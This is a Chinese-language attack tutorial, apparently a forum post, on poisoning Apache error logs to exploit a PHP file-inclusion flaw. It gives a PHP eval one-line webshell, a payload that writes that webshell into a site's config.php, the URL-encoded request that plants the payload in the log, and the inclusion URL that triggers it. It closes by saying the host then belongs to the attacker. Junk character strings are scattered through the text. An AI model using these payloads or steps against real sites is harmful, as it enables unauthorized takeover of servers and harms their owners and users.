php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

+ E, ]& O9 B5 o# z比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
; K% V8 k; u3 R& u$ c1 E; F( z
$ F9 o' W3 X  A到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
- U2 f: {; k& U- i; @1 Ufopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
+ a: y& T+ S  ^6 B. h1 X7 \
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
; G  H. r& u3 P9 h9 }; }) n/ P转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
) l( ]' M% R4 m0 w# Z: Wconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
6 F" |7 v( s3 |; E4 Q% H%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
' u1 D# C( s" g* W4 P5 R9 ]$ V7 Pcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
5 U9 ^$ Z. x3 c8 p2 j; T- V
这样就错误日志里就记录下了这行写入webshell的代码。

6 L6 J0 i( F; A8 V% O4 i3 J- X* }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 ~8 m: G+ a2 Z+ Y6 y
, Z7 f/ }8 e% R3 J( |. C* i这样webshell就写入成功了，config.php里就写入一句木马语句
/ C  P1 S$ a  E) d; cOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- X3 I) \: z- g/ a
$ }, a; p; x7 s4 f其他的日志路径，你可以去猜，也可以参照这里。
